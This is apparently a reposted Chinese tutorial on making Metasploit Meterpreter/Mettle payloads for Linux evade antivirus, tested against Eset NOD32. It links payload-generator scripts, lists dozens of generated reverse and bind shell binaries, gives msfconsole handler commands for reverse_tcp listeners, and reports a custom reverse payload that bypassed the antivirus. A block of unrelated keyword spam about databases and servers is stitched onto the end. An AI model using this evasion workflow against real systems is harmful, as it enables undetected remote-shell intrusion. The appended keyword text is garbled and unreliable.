千家信息网

如何理解Metasploit Payload在Linux平台的免杀

发表于:2025-01-20 作者:千家信息网编辑
千家信息网最后更新 2025年01月20日,今天就跟大家聊聊有关如何理解Metasploit Payload在Linux平台的免杀,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。目前,我认
千家信息网最后更新 2025年01月20日如何理解Metasploit Payload在Linux平台的免杀

今天就跟大家聊聊有关如何理解Metasploit Payload在Linux平台的免杀,可能很多人都不太了解,为了让大家更加了解,小编给大家总结了以下内容,希望大家根据这篇文章可以有所收获。

目前,我认为在Linux防病毒方面做得比较好的安全厂商有Avast,Eset 和 Kaspersky。当然,本文的目的并不是为了推广某个产品,而是希望通过实例测试将其作为红队练习的一部分进行学习,并了解什么会被标记或是通过。

因此,为了该测试的顺利进行,我创建了一个简单的shell脚本生成器,它将生成各种被编码可执行的Linux payloads,我们将这些payloads上传到Linux虚拟机(Ubuntu 18.04 x86_64),并让已安装的AV处理它们。剩下的部分是一些理论上可以工作并绕过AV的内容,我们将通过测试一些示例来验证它们的功能。

我将重点关注使用各种编码器组合的Linux x86 和 x86_64 Meterpreter/Mettle payloads。shell脚本生成器包含可以更改的变量名称,以使用喜欢的组合和自动生成二进制文件的进程。

确保将以下脚本放置在metasploit-framework路径中,并使其可执行。生成器脚本位于:

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/AV-TEST-LINUX.sh

运行脚本时,应输Metasploit-framework LISTENING IP地址和TCP端口,例如:

在第一个测试场景中,我们将在Ubuntu 18.04(x86_64)上使用Eset NOD32 4.0.90:

接着,我们将有一个生成的测试payloads的列表,我们将通过SCP向带有LinuxAV的远程机器提供这些payloads。在我们的测试中,我们生成了47个可执行文件。

-rw-r--r-- 1 root root 1102368 Apr 23 23:44 aarch74-reverse_tcp2.elf-rw-r--r-- 1 root root     332 Apr 23 23:43 aarch74-reverse_tcp.elf-rw-r--r-- 1 root root 1030664 Apr 23 23:44 armle-reverse_tcp2.elf-rw-r--r-- 1 root root     464 Apr 23 23:44 mipsbe-reverse_tcp.elf-rw-r--r-- 1 root root     464 Apr 23 23:44 mipsle-reverse_tcp.elf-rw-r--r-- 1 root root     162 Apr 23 23:39 x64-exec.elf-rw-r--r-- 1 root root     162 Apr 23 23:39 x64-exec-xor.elf-rw-r--r-- 1 root root     198 Apr 23 23:39 x64-mt-bind_tcp.elf-rw-r--r-- 1 root root     239 Apr 23 23:39 x64-mt-bind_tcp-xor.elf-rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-reverse_tcp2.elf-rw-r--r-- 1 root root     249 Apr 23 23:38 x64-mt-reverse_tcp.elf-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-reverse_tcp-xor2.elf-rw-r--r-- 1 root root     295 Apr 23 23:38 x64-mt-reverse_tcp-xor.elf-rw-r--r-- 1 root root 1046472 Apr 23 23:39 x64-mt-rev-http.elf-rw-r--r-- 1 root root 1046472 Apr 23 23:40 x64-mt-rev-https.elf-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-https-xor.elf-rw-r--r-- 1 root root 1046631 Apr 23 23:39 x64-mt-rev-http-xor.elf-rw-r--r-- 1 root root     206 Apr 23 23:40 x64-sh-bind_tcp2.elf-rw-r--r-- 1 root root     198 Apr 23 23:40 x64-sh-bind_tcp.elf-rw-r--r-- 1 root root     247 Apr 23 23:40 x64-sh-bind_tcp-xor2.elf-rw-r--r-- 1 root root     239 Apr 23 23:40 x64-sh-bind_tcp-xor.elf-rw-r--r-- 1 root root     249 Apr 23 23:40 x64-sh-reverse.elf-rw-r--r-- 1 root root     194 Apr 23 23:40 x64-sh-reverse_tcp2.elf-rw-r--r-- 1 root root     239 Apr 23 23:40 x64-sh-reverse_tcp-xor2.elf-rw-r--r-- 1 root root     295 Apr 23 23:40 x64-sh-reverse-xor.elf-rw-r--r-- 1 root root     122 Apr 23 23:41 x86-exec.elf-rw-r--r-- 1 root root     257 Apr 23 23:41 x86-exec-xor.elf-rw-r--r-- 1 root root     194 Apr 23 23:42 x86-mt-bind_tcp.elf-rw-r--r-- 1 root root     329 Apr 23 23:41 x86-mt-bind_tcp-xor.elf-rw-r--r-- 1 root root 1107556 Apr 23 23:41 x86-mt-reverse_tcp2.elf-rw-r--r-- 1 root root     207 Apr 23 23:41 x86-mt-reverse_tcp.elf-rw-r--r-- 1 root root 1107790 Apr 23 23:41 x86-mt-reverse_tcp-xor2.elf-rw-r--r-- 1 root root     342 Apr 23 23:41 x86-mt-reverse_tcp-xor.elf-rw-r--r-- 1 root root     614 Apr 23 23:43 x86-mt-reverse_tcp-xor.elf.multi-rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-http.elf-rw-r--r-- 1 root root 1107556 Apr 23 23:42 x86-mt-rev-https.elf-rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-https-xor.elf-rw-r--r-- 1 root root 1107790 Apr 23 23:42 x86-mt-rev-http-xor.elf-rw-r--r-- 1 root root     162 Apr 23 23:43 x86-sh-bind_tcp2.elf-rw-r--r-- 1 root root     194 Apr 23 23:43 x86-sh-bind_tcp.elf-rw-r--r-- 1 root root     297 Apr 23 23:43 x86-sh-bind_tcp-xor2.elf-rw-r--r-- 1 root root     329 Apr 23 23:42 x86-sh-bind_tcp-xor.elf-rw-r--r-- 1 root root     207 Apr 23 23:43 x86-sh-reverse.elf-rw-r--r-- 1 root root     152 Apr 23 23:43 x86-sh-reverse_tcp2.elf-rw-r--r-- 1 root root     287 Apr 23 23:43 x86-sh-reverse_tcp-xor2.elf-rw-r--r-- 1 root root     342 Apr 23 23:43 x86-sh-reverse-xor.elf

一旦我们上传了它们,AV就会启动并自动删除其中的大部分payloads。

执行完成后,我们会看到有一些文件被完整地保留了下来,其中一些文件将无法正常工作,还有一些文件则仍可以正常工作,我们将在下一步进行测试……我们有27个文件被保留了下来。

因为我们的VM运行的系统是64位的,所以让我们来看看那些x86_64的payloads。

-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec-xor.elf-rw-r--r-- 1 user user 162 Apr 23 22:08 x64-exec.elf-rw-r--r-- 1 user user 198 Apr 23 22:08 x64-mt-bind_tcp.elf-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-http-xor.elf-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-rev-https-xor.elf-rw-r--r-- 1 user user 1046631 Apr 23 22:08 x64-mt-reverse_tcp-xor2.elf-rw-r--r-- 1 user user 198 Apr 23 22:08 x64-sh-bind_tcp.elf

我们将配置我们的test LISTENER(将以下脚本放置在metasploit-framework目录中并使其可执行)。

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/LISTENER-LINUX-METTLE.sh

(并调整到测试的远程payloads,即相应地更改第13行)

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp; set LHOST ' > run.listener.sh

如果我们要验证除meterpreter/reverse_tcp之外的任何内容,我们需要将linux/x64/meterpreter/reverse_tcp修改为LISTENER中的相应的payload。

echo -n './msfconsole -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter_reverse_tcp; set LHOST ' > run.listener.sh

以上适用于x64-mt-reverse_tcp-xor2.elf,因为该平台为x64,并且它是一个meterpreter reverse tcp payload,所以我们将启动我们的listener(请注意上述2个payload的差异!)

并使用Eset NOD32 AV在测试VM上执行payload,并获得了一个core-dumped消息:)

让我们试试其他x86_64的mypreter/mettle->x64-mt-bind_tcp.elf

这次我们使用linux/x64/meterpreter/bind_tcp payload,并再次调整LISTENER,这次我们要为bind_tcp添加一个远程IP才能工作(虽然如此),但我们仍要进行测试,这次它可以工作。

但是,我们希望有一个可以绕过Eset NOD32,并且可以正常工作的reverse meterpreter/mettle payload!

让我们尝试更多自定义的代码:

https://github.com/DoktorCranium/Linux-Meterpreter-tests/blob/master/Linux-meterpreter-tests/LINUX-FORK-METTLE.sh

使用Nod32将linux-payload上传到VM并运行listener。

执行linux-payload和...我们成功使用自定义的reverse mettle payload绕过了AV:)

之前我提到过你可以为Windows PE32执行同样的操作。不是吗?:)现在你知道了,它的工作原理和Windows上其实是一样的,并且可以通过上面的脚本,scp等完全自动化进行AV逃避测试。

看完上述内容,你们对如何理解Metasploit Payload在Linux平台的免杀有进一步的了解吗?如果还想了解更多知识或者相关内容,请关注行业资讯频道,感谢大家的支持。

测试 脚本 工作 生成 文件 内容 平台 生成器 运行 更多 编码 组合 调整 验证 二进制 再次 厂商 原理 变量 可以通过 数据库的安全要保护哪些东西 数据库安全各自的含义是什么 生产安全数据库录入 数据库的安全性及管理 数据库安全策略包含哪些 海淀数据库安全审计系统 建立农村房屋安全信息数据库 易用的数据库客户端支持安全管理 连接数据库失败ssl安全错误 数据库的锁怎样保障安全 我的世界top服务器 软件标签的数据库设计 云上软件开发公司电话 如何知道服务器能连接l2tp 录像机怎么连上服务器 宣化区网络安全工作检查 pg数据库前100条数据 小学生网络安全小口诀15个字 在线数据库 建模 网络安全手抄报一等奖漂亮合集 政府机构网络技术设计方案 济南服务好的浪潮服务器销售 有哪些最新数据库技术 云桌面管理服务器如何实现 天津大学网络安全研究生录取分数 程序员跟软件开发师的差别 数据库数据出现混乱 信息网络安全管理的因素 河南红色文化馆软件开发公司 南京做软件开发公司 远程服务器起什么作用 数据库考勤管理系统怎么做 安徽今日互联网科技 安徽交通软件开发公司 如何利用图书馆数据库的资源 网络安全现场主题活动总结 恒大kk8.0服务器地址和端口 服务器管理新手入门 mvc 更新数据库 布比(北京)网络技术有
0